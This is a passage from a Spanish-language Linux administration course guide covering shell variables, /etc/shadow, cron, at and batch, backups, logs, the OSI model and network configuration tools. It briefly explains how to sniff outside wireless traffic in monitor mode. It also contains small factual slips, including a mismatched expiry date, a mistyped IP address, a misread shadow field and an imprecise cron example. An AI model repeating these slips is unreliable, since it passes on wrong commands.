Definir Variables: zxguitar@zxlaptop:~$ a=gato La variable tiene un nombre: a, y un valor: gato. Fíjate en que no debe dejar espacios entre el nombre, el igual y el valor. Tras haberla definido podremos usar el valor de

Diplomado de GNU/Linux117

Page 118: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

esta variable refiriéndonos a ella por su nombre. Entonces: ¿dónde se podrán utilizar variables de este modo? Pues bien, las podremos utilizar en la ejecución de órdenes desde el indicativo del sistema (prompt), por ejemplo, o en el uso de scripts de la shell. Pero, hay que tener también muy presente que, las variables de usuario creadas de este modo solamente funcionan en la shell (o subshell) en que se hayan definido. Si comprobamos el valor de la variable a=gato que definimos más arriba veremos que está correcto, pero si después lanzamos otro shell y volvemos a hacer la comprobación podremos advertir que aquí ya no aparece. La variable a solo es visible desde la shell donde se haya definido Ya que es una variable local. Si queremos o necesitamos conocer las variables disponibles podremos ver una lista de las mismas utilizando la orden env, con la que podremos ver una lista de variables iniciales del entorno o globales y con la orden set veremos una lista de variables locales. A fin de cuentas, en cada una de las shell que se vayan abriendo tendremos acceso solamente a las variables locales que tengan definidas. Es muy importante tener en cuenta esto de cara a la ejecución de aquellos scripts que, por cualquier razón, requieran del uso de una variable determinada.

Exportar el Entorno Si se diera el caso de necesitar, por cualquier motivo, que una variable sea accesible por programas ejecutados en otras shells, sería imprescindible exportarla. La solución a este pequeño problema es lo que se conoce como exportar variables. La orden export es capaz de hacer dos cosas:

1. Sin argumentos muestra una lista con las variables exportadas. 2. Convierte las variables (locales) en globales, para que sus valores sean accesibles por cada una de las shell que se genere.

zxguitar@zxlaptop:~$ echo $a gato zxguitar@zxlaptop:~$ export a zxguitar@zxlaptop:~$ echo $a gato

Ahora el valor de la variable “a” podrá ser leído desde otra shell cualquiera o subshell y también por programas que sean ejecutados en ellas.

La exportación del entorno de variables es muy seguro que lo usaran bastante, mucho más de lo que han pensando, pero como se acaba de ver, no es cosa del otro mundo. Para aquellos que hayan programado en alguna ocasión, el mundo de las variables no les dirá nada nuevo, para los que no, es cuestión de practica, a fin de cuentas las variables son algo bastante intuitivo.

2.13 /etc/shadow

Archivo de mucha importancia ya que tiene una relación muy estrecha con /etc/passwd.En este archivo se encuentran LITERALMENTE nuestras claves encriptadas de cada usuario.

Descripción de los campos en /etc/shadowSon 8 campos1 – usuario2 - clave (encriptada)3 - ultimo cambio de la clave

Diplomado de GNU/Linux118

Page 119: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

4 - Mínimo de tiempo para cambiar la clave5 - Máximo numero de días para cambiar su clave, después que se le pida que la cambie6 - Numero de días antes que la clave expire, el usuario es advertido de que debe cambiar su clave7 - Numero de días inactivo, después que se vence la clave8 - Fecha de expiración de la cuenta

Nota:En la sección de la clave puede que aparezcan ciertos caracteres, explicamos"!" Significa que no tiene clave"*" Significa que su cuenta esta bloqueada"!!" Significa que el password expiró

Ej:root:t$6$FM0fgYmRTAZ5ESCB$nxd/3oL63qsQgPsg8JXm772.nEpzhyDfF5HSutHLz3fbAEzhO.ZMO279qsNXuQ6hlM4m/8hkruCphHyQtaJ7S/:14049:0:99999:7:::

2.14 Expiración de cuentas

Crea un usuario llamado user1, que expire en 14 de feb. del 2012 que su home sea /opt con un comentario que diga usuario de prueba.[root@deivy ~]# useradd -e 2011-02-14 -d /opt -c "usuario de prueba" user1

Comprueba la fecha de expiración del usuario.[root@deivy ~]# chage -l user1

2.15 Asignación de usuarios a otros grupos

Para un usuario a otro grupo basta con agregarlo al grupo solicitado en el archivo /etc/group, solo usuario se separan por coma (,).

Ejm.

ftp:x:50: lock:x:54: audio:x:63: nobody:x:99:

Si queremos agregar el usuario user1 al grupo audio solo modificamos la linea correspondiente a esta grupo.[root@deivy ~]# vim /etc/groupftp:x:50: lock:x:54: audio:x:63:user1 nobody:x:99:

2.16 Practica Administración Capitulo 2

Diplomado de GNU/Linux119

Page 120: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

3.0 Programando tareas y Backup

Evidentemente garantizar la integridad de la información de un sistema es un tema que es de responsabilidad del administrador del sistema.

Un buen sistema de respaldo es la mejor forma de evitar perdidas de información. Un programa de backup más que versátil ha de ser cómodo. Ya lo comentamos antes. El backup es una tarea rutinaria y muy importante.

La mayoría del tiempo estas tareas, entre otras, de rutinas para el administrador sera necesaria automatizarla y de este modo, optimizar nuestra labor. Para esto contamos con los comandos 'at', 'batch' y 'cron'. A 'batch', y a 'at' hay que pasarles el comando por la entrada estándar, y a 'cron' la salida del comando será dirigida a la cuenta de correo del usuario. Por eso conviene redirigir las salidas convenientemente.

3.1 cron y sus archivos

Es un demonio que ejecuta comandos programados, su demonio es /etc/init.d/cron. En /etc existen 4 archivos en los que podemos declarar los comandos o scripts que deseamos ejecutar.

estos archivos son:

cron.hourly se ejecuta cada hora cron.daily se ejecuta cada 24 horas cron.weekly se ejecuta semanalmente cron.monthly se ejecuta cada mes

3.2 crontab, at y batch

CRONTABEs el comando que utilizamos para modificar el archivo crontab de el usuario. Para modificar el crontab de un usuario ejecutamos: spark-d:~# crontab -u usuario -e

Esto abrirá el archivo crontab de usuario con nuestro editor por defecto (variable EDITOR), en este archivo existen 6 campos a los cuales le asignamos los siguientes valores:

Campo Valor 1-)minuto 0-59 2-)hora 0-23 3-)día del mes (ej.: día 19) 1-31 4-)mes 1-12 5-)día de la semana (ej.: sábado) 0-7 (0 y 7 son domingo) 6-)comando Ej: Copiar los archivos .conf dentro de /etc a /backup/etc cada sábado, domingo o lunes a la 1 AM siempre que sea 30 o 15 de cada mes: * 1 15,30 * 6,7,1 find /etc/ -name "*.conf" | xargs cp -r --target-directory=/backup/etc

Diplomado de GNU/Linux120

Page 121: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Crear un archivo comprimido de los logs a las 10:24 PM (22:24) todos los martes durante el mes de diciembre: 24 22 * 12 2 tar -cjf /backup/logs.tar.bz2 /var/logs

Reiniciar el servidor los sábados a las 8:30 PM (20:30): 30 20 * * 6 reboot

Lista las tareas programada del usuario actual. [root@deivy ~]# crontab -l

Lista las tareas programada del usuario especificado como root. [root@deivy ~]# crontab -u deivy -l

Ejecuta la orden who todos los lunes a las 10:30 y guarda la salida en el archivo quien.txt si no esta creado el lo crea. [root@deivy ~]# crontab -e <edita una tarea> 30 10 * * 1 /usr/bin/who >> /home/user/quien.txt

Ejecute cada 15 minutos un ls -l y guarda la salida en el archivo ls.txt [root@deivy ~]# crontab -e 0,15,30,45 * * * * /bin/ls -l >> /home/user/ls.txt

Enviá la salida del comando date cada 5 minutos a un archivo llamado hora.txt [root@deivy ~]# crontab -e */5 * * * * /bin/date >> /home/user/hora.txt

Lista las tareas programada para ver si toda las tareas programada fueron almacenada. [root@deivy ~]# crontab -l

Luego de haber pasado los ultimo 5 minutos, comprueba que se haya creado el archivo con el contenido de la salida de date en el home de el usuario con el que lo creaste. [root@deivy ~]# ls -l

Si encontraste el archivo, despliega su contenido. [root@deivy ~]# cat hora.txt

Luego de haber visto el resultado del ultimo cron elimina todas la tarea programada anteriormente. [root@deivy ~]# crontab -r <elimina las tarea programada por el usuario>

Verifica que no tenga mas tareas en tu usuario. [root@deivy ~]# crontab -l

3.3 at

Ejecuta comandos en un tiempo especifico, se ejecuta el comando at mas el tiempo, luego se abre el shell de at, escribimos el comando, el tiempo puede ser especificado en forma de hora (HH:MM) , fecha (MM/DD/YY) y varias mas (vea el man).

En /etc at tiene dos archivos (at.deny at.allow) para controlar cuales usuarios pueden usar at y cuales no.

Diplomado de GNU/Linux121

Page 122: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Opciones más usadas: -l lista los trabajos pendientes para el usuario, en caso de que sea el súper usuario serán listados todos los trabajos de todos los usuarios.-d elimina trabajos pendientes, identificados por números -m envía un correo al usuario incluso cuando no tenga salida el comando

Ej: Copiar los archivos .conf dentro de /etc a /backup/etc cada sábado, a la 1 AM el día 30 de agosto: spark-d:~# at 01:00 08/30/08 at> find /etc/ -name "*.conf" | xargs cp -r --target-directory=/backup/etc

Crear un archivo comprimido de los logs a media noche de mañana: spark-d:~# at midnight tomorrow at> tar -cjf /backup/logs.tar.bz2 /var/logs

Ver las tareas pendientes: spark-d:~# at -l 8 Sat Aug 30 01:00:00 2008 a root 10 Thu Jul 17 00:00:00 2008 a root

3.4 batch

Ejecuta comandos cuando la carga del sistema sea menor a 0.8 y abre el mismo shell de at.

Ej: Copiar los archivos .conf dentro de /etc a /backup/etc: spark-d:~# batch at> find /etc/ -name "*.conf" | xargs cp -r= --target-directory=/backup/etc Crear un archivo comprimido de los logs: spark-d:~# batch at> tar -cjf /backup/logs.tar.bz2 /var/logs

Ver las tareas pendientes: spark-d:~# at -l 8 Sat Aug 30 01:00:00 2008 a root 10 Thu Jul 17 00:00:00 2008 a root

3.5 Cuando hacer las Copias de Seguridad/Respaldo(Backups):

En las horas en que el/los servidores tengan menos flujo de data y sean menos accedidos por los Usuarios (ej.: madrugadas, fines de semana, etc.) y también tenerlos lo mas actualizado posible.

3.6 Donde almacenar los Backups

Lugares protegidos contra fuego, humedad y desastres naturales, preferiblemente en otra edificación que no sea donde se encuentran los servidores.

Diplomado de GNU/Linux122

Page 123: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

3.7 tar, cpio, afio

tarEmpaqueta y comprime archivos y, directorios

Opciones más usadas: -c crear -f archivo o ruta del archivo -j compresión bzip2 -z compresión gzip2 -v modo detallado -t listar archivos empaquetados

Ej: Empaquetar y comprimir en formato bzip2 el directorio /etc: spark-d:~# tar -cjvf etc.tar.bz2 /etc

Desempaquetar el archivo backup.tar.gz: spark-d:~# tar -xzvf backup.tar.gz

Listar los archivos dentro de etc.tar.bz2 spark-d:~# tar -tjf etc.tar.bz2

3.8 cpio

Copia archivos desde y hacia archivos Opciones más usadas: -i extrae -o crea -d crea directorios donde sean necesarios -m retiene el tiempo de modificación mientras crea los archivos -v modo detallado

Ej: Crear un archivo del directorio en que estamos: spark-d:~# ls | cpio -ov > wd.cpio

Extraer un archivo en el directorio en que estamos: spark-d:~# cpio -idv < wd.cpio

Extraer un archivo en el directorio en que estamos manteniendo el tiempo de modificación original: spark-d:~# cpio -imdv < wd.cpio

3.9 El Directorio /var/log

Es el directorio donde se crean todos los logs del sistema y donde se van almacenando las copias de respaldo de los logs.

Ej: Logs de servicios de correo: /var/log/maillog

Diplomado de GNU/Linux123

Page 124: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Logs de servicios en general: /var/log/messages

Logs de cron /var/log/cron

3.10 dmesg, last y lastlog

dmesgImprime el buffer del kernel Opciones: -c limpia el buffer -s### modifica el tamaño de el buffer al consultar -n# determina el nivel de información en el buffer

last Muestra una lista de las últimas sesiones iniciadas por usuarios y que terminales usaron, last lee la información de /var/log/wtmp

Opciones más usadas: -f le dice a last que lea la información de un archivo especificado y no de /var/log/wtmp -n muestra la cantidad de líneas especificadas -i muestra las sesiones iniciadas remotamente con su respectiva ip -d muestra lo mismo que la opción -i pero con resolución de nombres -x muestra los cambios de runlevel

Ej: Ver otro archivo spark-d:~# last -f /var/log/wtmp.1

Ver las iniciadas remotamente mostrando el ip spark-d:~# last -i

Ver los cambios de runlevel spark-d:~# last -x

lastlogReporta las sesiones iniciadas mas recientes de todos los usuarios de un usuario en específico.

Opciones: -b imprime los días anteriores a los especificados -h ayuda -t imprime los días mas recientes hasta los especificados -u especifica el usuario

Ejemplos: Ver el reporte de las últimas sesiones iniciadas: spark-d:~# lastlog

Ver el reporte de la última sesión iniciad por "usuario":

Diplomado de GNU/Linux124

Page 125: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

spark-d:~# lastlog -u usuario

Ver el reporte de las últimas sesiones iniciadas antes de diez días atrás: spark-d:~# lastlog -b 10

3.11 /etc/syslog.conf:

Es el archivo de configuración del demonio syslogd, el cual almacena todos los mensajes del sistema desde que arrancamos el sistema, recibe mensajes del kernel y de varias aplicaciones.

3.12 /etc/logrotate.conf:

Es el archivo de configuración de logrotate, en el cual se determina cuando se creara un nuevo log y cuando se hará una copia de respaldo comprimida para los logs ya existentes.

Diplomado de GNU/Linux125

Page 126: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

GNU/Networking0.0 Introducción a Networking0.1 Ifconfig0.2 Ip0.3 Route0.4 Tcpdump0.5 Arp0.6 Nmap0.7 Interfaces de red0.8 Configurando interfaces0.9 Mascara0.10 Gateway0.11 Netstat0.12 Nc0.13 Ping0.14 Dig0.15 Nslookup

Diplomado de GNU/Linux126

Page 127: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

0.0 Introducción a Networking

Modelo OSI

Capa 7: La capa de aplicación Capa 6: La capa de presentación Capa 5: La capa de sesión Capa 4: La capa de transporte Capa 3: La capa de red Capa 2: La capa de enlace de datos Capa 1: La capa física

Funciones de cada capa Cada capa individual del modelo OSI tiene un conjunto de funciones que debe realizar para que los paquetes de datos puedan viajar en la red desde el origen hasta el destino. A continuación, presentamos una breve descripción de cada capa del modelo de referencia OSI tal como aparece en la figura.

Capa 7: La capa de aplicación La capa de aplicación es la capa del modelo OSI más cercana al usuario; suministra servicios de red a las aplicaciones del usuario. Difiere de las demás capas debido a que no proporciona servicios a ninguna otra capa OSI, sino solamente a aplicaciones que se encuentran fuera del modelo OSI. Algunos ejemplos de aplicaciones son los programas de hojas de cálculo, de procesamiento de texto y los de las terminales bancarias. La capa de aplicación establece la disponibilidad de los potenciales socios de comunicación, sincroniza y establece acuerdos sobre los procedimientos de recuperación de errores y control de la integridad de los datos. Si desea recordar a la Capa 7 en la menor cantidad de palabras posible, piense en los navegadores de Web.

Capa 6: La capa de presentación La capa de presentación garantiza que la información que envía la capa de aplicación de un sistema pueda ser leída por la capa de aplicación de otro. De ser necesario, la capa de presentación traduce entre varios formatos de datos utilizando un formato común. Si desea recordar la Capa 6 en la menor cantidad de palabras posible, piense en un formato de datos común.

Capa 5: La capa de sesión Como su nombre lo implica, la capa de sesión establece, administra y finaliza las sesiones entre dos hosts que se están comunicando. La capa de sesión proporciona sus servicios a la capa de presentación. También sincroniza el diálogo entre las capas de presentación de los dos hosts y administra su intercambio de datos. Además de regular la sesión, la capa de sesión ofrece disposiciones para una eficiente transferencia de datos, clase de servicio y un registro de excepciones acerca de los problemas de la capa de sesión, presentación y aplicación. Si desea recordar la Capa 5 en la menor cantidad de palabras posible, piense en diálogos y conversaciones.

Capa 4: La capa de transporte La capa de transporte segmenta los datos originados en el host emisor y los reensambla en una corriente de datos dentro del sistema del host receptor. El límite entre la capa de transporte y la capa de sesión puede imaginarse como el límite entre los protocolos de aplicación y los protocolos de flujo de datos. Mientras que las capas de aplicación, presentación y sesión están relacionadas con asuntos de aplicaciones, las cuatro capas inferiores se encargan del transporte de

Diplomado de GNU/Linux127

Page 128: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

datos. La capa de transporte intenta suministrar un servicio de transporte de datos que aisla las capas superiores de los detalles de implementación del transporte. Específicamente, temas como la confiabilidad del transporte entre dos hosts es responsabilidad de la capa de transporte. Al proporcionar un servicio de comunicaciones, la capa de transporte establece, mantiene y termina adecuadamente los circuitos virtuales. Al proporcionar un servicio confiable, se utilizan dispositivos de detección y recuperación de errores de transporte. Si desea recordar a la Capa 4 en la menor cantidad de palabras posible, piense en calidad de servicio y confiabilidad.

Capa 3: La capa de red La capa de red es una capa compleja que proporciona conectividad y selección de ruta entre dos sistemas de hosts que pueden estar ubicados en redes geográficamente distintas. Si desea recordar la Capa 3 en la menor cantidad de palabras posible, piense en selección de ruta, direccionamiento y enrutamiento.

Capa 2: La capa de enlace de datos La capa de enlace de datos proporciona tránsito de datos confiable a través de un enlace físico. Al hacerlo, la capa de enlace de datos se ocupa del direccionamiento físico (comparado con el lógico) , la topología de red, el acceso a la red, la notificación de errores, entrega ordenada de tramas y control de flujo. Si desea recordar la Capa 2 en la menor cantidad de palabras posible, piense en tramas y control de acceso al medio.

Capa 1: La capa física La capa física define las especificaciones eléctricas, mecánicas, de procedimiento y funcionales para activar, mantener y desactivar el enlace físico entre sistemas finales. Las características tales como niveles de voltaje, temporización de cambios de voltaje, velocidad de datos físicos, distancias de transmisión máximas, conectores físicos y otros atributos similares son definidos por las especificaciones de la capa física. Si desea recordar la Capa 1 en la menor cantidad de palabras posible, piense en señales y medios.

El modelo de referencia TCP/IP

A medida que obtenga más información acerca de las capas, tenga en cuenta el propósito original de Internet; esto le ayudará a entender por qué motivo ciertas cosas son como son. El modelo TCP/IP tiene cuatro capas: la capa de aplicación, la capa de transporte, la capa de Internet y la capa de acceso de red. Es importante observar que algunas de las capas del modelo TCP/IP poseen el mismo nombre que las capas del modelo OSI. No confunda las capas de los dos modelos, porque la capa de aplicación tiene diferentes funciones en cada modelo.

Capa de aplicación: Los diseñadores de TCP/IP sintieron que los protocolos de nivel superior deberían incluir los detalles de las capas de sesión y presentación. Simplemente crearon una capa de aplicación que maneja protocolos de alto nivel, aspectos de representación, codificación y control de diálogo. El modelo TCP/IP combina todos los aspectos relacionados con las aplicaciones en una sola capa y garantiza que estos datos estén correctamente empaquetados para la siguiente capa.

Capa de transporte: La capa de transporte se refiere a los aspectos de calidad del servicio con respecto a la confiabilidad, el control de flujo y la corrección de errores. Uno de sus protocolos, el protocolo para el control de la transmisión (TCP), ofrece maneras flexibles y de alta calidad para crear comunicaciones de red confiables, sin problemas de flujo y con un nivel de error bajo. TCP es un protocolo orientado a la conexión. Mantiene un diálogo entre el origen y el destino mientras empaqueta la

Diplomado de GNU/Linux128

Page 129: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

información de la capa de aplicación en unidades denominadas segmentos. Orientado a la conexión no significa que el circuito exista entre los computadores que se están comunicando (esto sería una conmutación de circuito). Significa que los segmentos de Capa 4 viajan de un lado a otro entre dos hosts para comprobar que la conexión exista lógicamente para un determinado período. Esto se conoce como conmutación de paquetes.

Capa de Internet El propósito de la capa de Internet es enviar paquetes origen desde cualquier red en la internetwork y que estos paquetes lleguen a su destino independientemente de la ruta y de las redes que recorrieron para llegar hasta allí. El protocolo específico que rige esta capa se denomina Protocolo Internet (IP). En esta capa se produce la determinación de la mejor ruta y la conmutación de paquetes. Esto se puede comparar con el sistema postal. Cuando envía una carta por correo, usted no sabe cómo llega a destino (existen varias rutas posibles); lo que le interesa es que la carta llegue.

Capa de acceso de Red: El nombre de esta capa es muy amplio y se presta a confusión. También se denomina capa de host a red. Es la capa que se ocupa de todos los aspectos que requiere un paquete IP para realizar realmente un enlace físico y luego realizar otro enlace físico. Esta capa incluye los detalles de tecnología LAN y WAN y todos los detalles de las capas física y de enlace de datos del modelo OSI.

Comparación entre el modelo OSI y el modelo TCP/IP

Similitudes

• Ambos se dividen en capas • Ambos tienen capas de aplicación, aunque incluyen servicios muy distintos • Ambos tienen capas de transporte y de red similares • Se supone que la tecnología es de conmutación por paquetes (no de conmutación por circuito) • Los profesionales de networking deben conocer ambos

Diferencias

1. TCP/IP combina las funciones de la capa de presentación y de sesión en la capa de aplicación 2. TCP/IP combina la capas de enlace de datos y la capa física del modelo OSI en una sola capa 3. TCP/IP parece ser más simple porque tiene menos capas 4. Los protocolos TCP/IP son los estándares en torno a los cuales se desarrolló la Internet, de modo que la credibilidad del modelo TCP/IP se debe en gran parte a sus protocolos. En comparación, las redes típicas no se desarrollan normalmente a partir del protocolo OSI, aunque el modelo OSI se usa como guía.

0.1 ifconfig

Es un programa disponible en varias versiones del sistema operativo UNIX, que permite configurar o desplegar numerosos parámetros de las interfaces de redes, como la dirección IP (dinámica o estática), o la máscara de red. Si se llama sin argumentos suele mostrar la configuración vigente de las interfaces de red activas, con detalles

Diplomado de GNU/Linux129

Page 130: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

como la dirección MAC o el tráfico que ha circulado por las mismas hasta el momento.El programa ifconfig tiene muchos más parámetros que los descritos hasta ahora. Generalmente se ejecuta en la forma: ifconfig interfaz [dirección [parámetros]]Interfaz es el nombre de la interfaz y dirección es la dirección IP que se asigna a dicha interfaz. La dirección puede estar en forma de cuaterna o usando un nombre que ifconfig buscará en /etc/hosts.Si ifconfig es ejecutado añadiendo únicamente el nombre de la interfaz, presentará la información de la configuración de dicha interfaz. Si se ejecuta sin parámetros, presenta todas las interfaces configuradas hasta el momento; usando la opción –a fuerza a ifconfig a incluir la información de las interfaces inactivas. A modo de ejemplo, la consulta de la configuración de la interfaz Ethernet eth0.

Muestra la información de ip y otros detalles de la interfaz.[root@blackangel ~]# ifconfig eth0

Este comando asigna un ip al interfaz eth0 con una mascara de 255.255.255.0 y por ultimo la activa.[root@blackangel ~]# ifconfig eth0 192.168.10 0.23/24 up

Este comando apaga la interfaz[root@blackangel ~]# ifconfig eth0 down

Este comando activa la interfaz[root@blackangel ~]# ifconfig eth0 up

Deshabilita el protocolo arp en la interfaz[root@blackangel ~]# ifconfig eth0 -arp

Habilita el protocolo arp a la interfaz[root@blackangel ~]# ifconfig eth0 arp

Habilita la interfaz en modo promiscuo[root@blackangel ~]# ifconfig eth0 promisc

Deshabilita el modo promiscuo a la interfaz[root@blackangel ~]# ifconfig eth0 -promisc

Habilita la interfaz un mtu 1420[root@blackangel ~]# ifconfig eth0 mtu 1420

Si le ponemos una ip fija a nuestra interfaz, cual la maquina reinicie, perdera esta información, por lo que hay un archivo que podemos modificar para que cada vez que iniciemos el sistema, esa información sea leída y aplicada.En RedHat/Centos/Fedora el archivo que tiene esta información es tiene varios campos y es /etc/sysconfig/network-scripts/ifcfg-eth0Se ve como sigue:DEVICE=eth0 BOOTPROTO=staticHWADDR=00:1b:38:1c:c8:f7NETWORK=192.168.1.0IPADDR=192.168.1.232

Diplomado de GNU/Linux130

Page 131: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

NETMASK=255.255.255.0GETWAY=192.168.1.254BROADCAST=192.168.1.255 ONBOOT=yes DHCP_HOSTNAME=nexton.fcld.local

Los parámetros anteriores son proporcionados por el administrador de la red local en donde se localice la máquina que está siendo configurada, o bien definidos de acuerdo a una planificación previamente establecida. El administrador de la red deberá proporcionar una dirección IP disponible (IPADDR) y una máscara de la subred (NETMASK).

En debian/Ubuntu, tenemos otro archivo para realizar esta tarea./etc/network/interfacesSe ve como sigue:iface eth0 inet staticaddress 192.168.1.5netmask 255.255.255.0gateway 192.168.1.254

Esta configuración en DHCP o ip dinámico, se vería como sigue.auto eth0iface eth0 inet dhcp

Si deseamos tomar una ip automáticamente, debe haber un dhcp-server en la red donde estamos, es el servidor encargado de asignar Ips automáticamente. Para realizar una petición de ip a este servidor lo hacemos como sigue.root@zxlaptop:~# dhclient eth0

0.2 resolv.conf

No es un comando, pero es un archivo muy importante que se encuentra en /etc/resolv.conf y el mismo sirve para configurar nuestros servidores DNS.

Es importante saber que para conectarse a internet hacen falta 4 elementos, por lo general todo sucede automático, pero aquí debemos conocerlo TODO.1er. Elemento: Una ip para nuestra computadora o laptop. e.j. 10.0.0.52do. Elemento: Mascara de Red. e.j. 255.255.255.03er. Elemento: Un Gateway o pasarela, es la puerta de salida. e.j. 10.0.0.14to. Elemento: servidores DNS e.j. 8.8.8.8 (DNS de google).

El papel de los DNS es traducir las direcciones “www.codigolibre.org” a IP y viceversa.

Esto es necesario porque memorizar todas las ips “del mundo” es prácticamente imposible, por lo que los servidores DNS son los que tienen esa información, nuestra computadora le pregunta a los DNS “quien es www.codigolibre.org???” y el DNS responde “la ip de esa dirección es 66.128.53.27”.

El archivo /etc/resolv.conf se ve como sigue:nameserver 8.8.8.8nameserver 8.8.4.4

Diplomado de GNU/Linux131

Page 132: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Lo que esto significa es que “8.8.8.8” es quien me traduce las palabras (codigolibre.org) a la ip (66.128.53.27) si que yo me de cuenta.

Como vemos en el ejemplo, hay 2 ips, la otra (8.8.4.4) es un servidor secundario por si el primero falla.

Que pasaría si no tienes DNS configurado?Bueno, estarías conectado a internet, pero cuando pongas en firefox o google-chrome la dirección www.codigolibre.org, el browser te dará un error de que no halla la pagina, por lo que tendrías que poner, en vez del nombre, la ip que seria http://66.128.53.27/

0.3 iwconfig

iwconfig es similar a ifconfig, pero se dedica a las interfaces inalámbricas. Se utiliza para establecer los parámetros de la interfaz de red que son específicas para la operación inalámbrica (por ejemplo:la frecuencia). iwconfig también se puede utilizar para mostrar los parámetros y las estadísticas inalámbrica (extraídos de /proc/net/wireless).

Todos estos parámetros y estadísticas dependen del dispositivo. Cada driver proporciona sólo algunos de ellos en función del soporte de hardware, y el rango de valores pueden cambiar.

Modo de operación.La interfaz de wireless puede ser configurada en uno de los siguientes modos que impacta la manera en como opera el dispositivo o tarjeta.

managed – El nodo es un cliente que se conecta a un punto de acceso (AP – access point – Router).master – El nodo actúa como un punto de acceso (AP - Acces point – Router).secondary – El nodo actúa como secundario a un AP Maestro o Primario. ad-hoc – Opera en una conexión punto a punto con otro nodo que tenga wireless sin un AP intermediario. monitor – No se conecta a ninguna wireless pero escucha todos los paquetes que pasan por una frecuencia. repeater – Repite los paquetes entre nodos wireless. Extiende el rango.

Si lo hacemos solo nos dirá las interfaces que tenemos.root@zxlaptop:~# iwconfig

Nos dará información de como esta configurada la tarjeta inalámbrica (nombre de red, canal, nivel de señal, velocidad, potencia, encriptación de wep, punto de acceso. Si es FF:FF:FF:FF:FF:FF es que no esta asociada a ninguno nos dirá la versión que utilizamos de las wireless extensions y la recomendada para nuestra interfaz inalámbrica. root@zxlaptop:~# iwconfig wlan0

Nos servirá para configurar nuestra red con el nombre que queramos o a la que queramos asociarnos.Nota: essid equivale al nombre de la red.root@zxlaptop:~# iwconfig wlan0 essid "linksys"

Diplomado de GNU/Linux132

Page 133: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Para redes WEP, que se caracterizan por tener una seguridad muy pobre, es muy simple. Solo basta utilizar dos comandos. El comando anterior define el nombre del punto de acceso a utilizar. Y este para definir la clave de acceso a utilizar, sea de 64 o 128 bit. root@zxlaptop:~# iwconfig wlan0 key clave-de-acceso

Si se utiliza una clave WEP tipo ASCII, se define de la siguiente manera.root@zxlaptop:~# iwconfig wlan0 key s:clave-de-acceso

Para obtener una dirección IP, se utiliza el mandato dhclient de la siguiente manera.root@zxlaptop:~# dhclient wlan0

Si deseamos sniffear (oler o monitorear) el trafico de redes externas, tenemos que cambiar el modo operacional de la siguiente manera.root@zxlaptop:~# iwconfig wlan0 mode monitor

El modo “managed” esta activado por defecto, pero si estaba en otro modo, para volver a ponerlo, lo hacemos como sigue.root@zxlaptop:~# iwconfig wlan0 mode managed

Para conectarnos a una pc con wireless, pero sin un router de por medio, debemos cambiar el modo de la tarjeta a “ad-hoc” y lo hacemos de la siguiente manera.root@zxlaptop:~# iwconfig wlan0 mode ad-hoc

Fijamos el canal elegido para nuestra tarjeta. Podemos también utilizar la frecuencia. root@zxlaptop:~# iwconfig wlan0 channel 6

Fijamos el valor de frecuencia para nuestra tarjeta. Podemos también utilizar el canal.root@zxlaptop:~# iwconfig wlan0 freq 2.412G

Tenemos para cada canal, una frecuencia especifica.canal 1= 2.412G canal 2= 2.417G canal 3= 2.422G canal 4= 2.427G canal 5= 2.432G canal 6= 2.437G canal 7= 2.442G canal 8= 2.447G canal 9= 2.452G canal 10= 2.457G canal 11= 2.462G canal 12= 2.467G canal 13= 2.472G canal 14= 2.484G

Fijamos la velocidad en las comunicaciones para 802.11b. Podemos también utilizar 54M. O ponerlo en modo automático. root@zxlaptop:~# iwconfig wlan0 rate 11M root@zxlaptop:~# iwconfig wlan0 rate auto

Para que la tarjeta elija la velocidad adecuada, incluso podemos combinar. root@zxlaptop:~# iwconfig wlan0 rate 54M auto

Para cambiar el valor de la fragmentación, lo hacemos así.root@zxlaptop:~# iwconfig wlan0 frag 4096

Tiempo actividad la tarjeta cuando no se utiliza alguna conexión a red. Por lo tanto en modo monitor la captura de datos caería a la hora.root@zxlaptop:~# iwconfig wlan0 power period 60

Diplomado de GNU/Linux133

Page 134: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Varias de estas opciones puede realizarse de manera conjunta o en la misma linea.root@zxlaptop:~# iwconfig wlan0 essid "Wireless_casa" channel 6 rate auto

0.4 iwlist

iwlist se utiliza para mostrar información adicional de una interfaz de red inalámbrica que no se muestra con iwconfig. El principal argumento se utiliza para seleccionar una categoría de información, iwlist muestra en forma detallada, toda la información relacionada a esta categoría, incluida la información que se muestran por iwconfig.

Es bueno que sepas que puedes obtener todas los argumentos posibles para este y casi todos los comandos mediante.root@zxlaptop:~# iwlist --help

Mostrar información de todas las redes inalámbricas que nuestra tarjeta detecta con la información correspondiente a cada red.root@zxlaptop:~# iwlist wlan0 scan

Mostrar los diferentes valores de frecuencia y su correspondencia.root@zxlaptop:~# iwlist wlan0 frequency Mostrar los canales con sus frecuencias correspondientes, además este comando me muestra el canal actual en el que estoy.root@zxlaptop:~# iwlist wlan0 channel

0.5 ip

Este comando es parte de la herramienta iproute y es usado para configuración de parámetros de dispositivos de red.

Muestra todas la interfaces de red activas[root@blackangel ~]# ip addr show

Este comando asigna una dirección ip a la interfaz[root@blackangel ~]# ip addr add 192.168.100.23/24 dev eth0

Este comando configura un mtu de 1420 a la interfaz[root@blackangel ~]# ip link set mtu 1420 dev eth0

Desactiva el protocolo arp de la interfaz eth0[root@blackangel ~]# ip link set arp off dev eth0

